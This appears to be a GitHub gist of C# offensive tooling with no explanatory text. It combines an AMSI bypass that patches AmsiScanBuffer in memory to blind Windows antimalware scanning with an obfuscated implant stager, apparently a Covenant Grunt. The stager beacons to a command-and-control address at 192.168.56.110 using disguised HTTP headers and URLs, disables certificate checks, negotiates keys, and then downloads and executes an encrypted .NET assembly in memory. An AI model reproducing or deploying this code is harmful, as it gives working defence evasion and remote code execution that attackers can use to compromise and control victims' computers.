Created
July 20, 2020 11:09
-
-
Save dtrizna/37b64d57faf59a813e59ece50d984130 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Linq; | |
using System.Text; | |
using System.Text.RegularExpressions; | |
using System.IO.Pipes; | |
using System.Reflection; | |
using System.Collections.Generic; | |
using System.Security.Cryptography; | |
using System.Runtime.InteropServices; | |
namespace Bypass | |
{ | |
public class Amsi | |
{ | |
//implement required kernel32.dll functions | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] | |
static extern void MoveMemory(IntPtr dest, IntPtr src, int size); | |
public static int Patch() | |
{ | |
//Get pointer for the amsi.dll | |
IntPtr TargetDLL = LoadLibrary("amsi.dll"); | |
if (TargetDLL == IntPtr.Zero) | |
{ | |
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer!"); | |
return 1; | |
} | |
//Get pointer for the AmsiScanBuffer function | |
IntPtr AmsiScanBufrPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); | |
if (AmsiScanBufrPtr == IntPtr.Zero) | |
{ | |
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer!"); | |
return 1; | |
} | |
/* | |
* Apply memory patching as described by Cyberark here: | |
* https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ | |
*/ | |
UIntPtr dwSize = (UIntPtr)4; | |
uint Zero = 0; | |
//Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40) | |
if (!VirtualProtect(AmsiScanBufrPtr, dwSize, 0x40, out Zero)) | |
{ | |
Console.WriteLine("ERROR: Could not modify AmsiScanBuffer memory permissions!"); | |
return 1; | |
} | |
Byte[] Patch = { 0x31, 0xff, 0x90 }; //The new patch opcode | |
//Setting a pointer to the patch opcode array (unmanagedPointer) | |
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); | |
Marshal.Copy(Patch, 0, unmanagedPointer, 3); | |
//Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode | |
MoveMemory(AmsiScanBufrPtr + 0x001b, unmanagedPointer, 3); | |
Console.WriteLine("Great success. AmsiScanBuffer patched! :)"); | |
return 0; | |
} | |
} | |
} | |
namespace ZwMmSSgSHOo | |
{ | |
public class ZwMmSSgSHOo | |
{ | |
public ZwMmSSgSHOo() | |
{ | |
MaHlaiVUQau(); | |
} | |
[STAThread] | |
public static void Main(string[] args) | |
{ | |
Bypass.Amsi.Patch(); | |
new ZwMmSSgSHOo(); | |
} | |
public static void Execute() | |
{ | |
new ZwMmSSgSHOo(); | |
} | |
public void MaHlaiVUQau() | |
{ | |
try | |
{ | |
List<string> SYavaOSkkjqs = @"http://192.168.56.110:80".Split(',').ToList(); | |
string LjfSIGDFegj = @""; | |
List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2llcw==".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); | |
string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n"); | |
string ProfileHttpPostResponse = @"<html> | |
<head> | |
<title>Hello World!</title> | |
</head> | |
<body> | |
<p>Hello World!</p> | |
// Hello World! {0} | |
</body> | |
</html>".Replace(Environment.NewLine, "\n"); | |
bool valcert = bool.Parse(@"false"); | |
bool valcertp = bool.Parse(@"false"); | |
Random random = new Random(); | |
string aGUID = @"4fb43e0a04"; | |
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); | |
byte[] SetupKeyBytes = Convert.FromBase64String(@"B/Qq6/APP9ntObOPRXXqJe6Sx+6Sm2fH6aqUZFZhZf4="); | |
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; | |
Aes SetupAESKey = Aes.Create(); | |
SetupAESKey.Mode = CipherMode.CBC; | |
SetupAESKey.Padding = PaddingMode.PKCS7; | |
SetupAESKey.Key = SetupKeyBytes; | |
SetupAESKey.GenerateIV(); | |
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); | |
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); | |
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); | |
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); | |
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); | |
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); | |
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; | |
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => | |
{ | |
bool valid = true; | |
if (valcertp && LjfSIGDFegj != "") | |
{ | |
valid = cert.GetCertHashString() == LjfSIGDFegj; | |
} | |
if (valid && valcert) | |
{ | |
valid = errors == System.Net.Security.SslPolicyErrors.None; | |
} | |
return valid; | |
}; | |
string resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); | |
CookieWebClient wc = null; | |
string zero_resp = ""; | |
wc = new CookieWebClient(); | |
wc.UseDefaultCredentials = true; | |
wc.Proxy = WebRequest.DefaultWebProxy; | |
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; | |
string SYavaOSkkjq = ""; | |
foreach (string uri in SYavaOSkkjqs) | |
{ | |
try | |
{ | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); } | |
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", "")); | |
SYavaOSkkjq = uri; | |
} | |
catch | |
{ | |
continue; | |
} | |
} | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } | |
zero_resp = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", ""); | |
string extracted = Parse(zero_resp, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
List<string> parsed = Parse(extracted, MessageFormat); | |
string iv64str = parsed[3]; | |
string message64str = parsed[4]; | |
string hash64str = parsed[5]; | |
byte[] messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SetupAESKey.IV = Convert.FromBase64String(iv64str); | |
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); | |
Aes SessionKey = Aes.Create(); | |
SessionKey.Mode = CipherMode.CBC; | |
SessionKey.Padding = PaddingMode.PKCS7; | |
SessionKey.Key = FullyDecrypted; | |
SessionKey.GenerateIV(); | |
hmac = new HMACSHA256(SessionKey.Key); | |
byte[] challenge1 = new byte[4]; | |
RandomNumberGenerator rng = RandomNumberGenerator.Create(); | |
rng.GetBytes(challenge1); | |
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge1); | |
string one_body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); | |
resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(one_body)); | |
string Stage1Response = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } | |
Stage1Response = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", ""); | |
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] challenge1Test = new byte[4]; | |
byte[] challenge2 = new byte[4]; | |
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); | |
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); | |
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } | |
SessionKey.GenerateIV(); | |
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge2); | |
string ZmOHwLrmyeUBody = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); | |
resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(ZmOHwLrmyeUBody)); | |
string ZmOHwLrmyeUResponse = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } | |
ZmOHwLrmyeUResponse = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", ""); | |
extracted = Parse(ZmOHwLrmyeUResponse, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
Assembly AQnchzOUzhN = Assembly.Load(DecryptedAssembly); | |
AQnchzOUzhN.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { SYavaOSkkjq, LjfSIGDFegj, GUID, SessionKey }); | |
} | |
catch (Exception e) { Console.Error.WriteLine(e.Message); } | |
} | |
public class CookieWebClient : WebClient | |
{ | |
public CookieContainer CookieContainer { get; private set; } | |
public CookieWebClient() | |
{ | |
this.CookieContainer = new CookieContainer(); | |
} | |
protected override WebRequest GetWebRequest(Uri address) | |
{ | |
var request = base.GetWebRequest(address) as HttpWebRequest; | |
if (request == null) return base.GetWebRequest(address); | |
request.CookieContainer = CookieContainer; | |
return request; | |
} | |
} | |
public static List<string> Parse(string data, string format) | |
{ | |
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}"); | |
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } | |
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } | |
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } | |
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } | |
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } | |
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } | |
Match match = new Regex(format).Match(data); | |
List<string> matches = new List<string>(); | |
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } | |
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } | |
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } | |
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } | |
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } | |
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } | |
return matches; | |
} | |
public static class MessageTransform | |
{ | |
public static string Transform(byte[] bytes) | |
{ | |
return System.Convert.ToBase64String(bytes); | |
} | |
public static byte[] Invert(string str) | |
{ | |
return System.Convert.FromBase64String(str); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment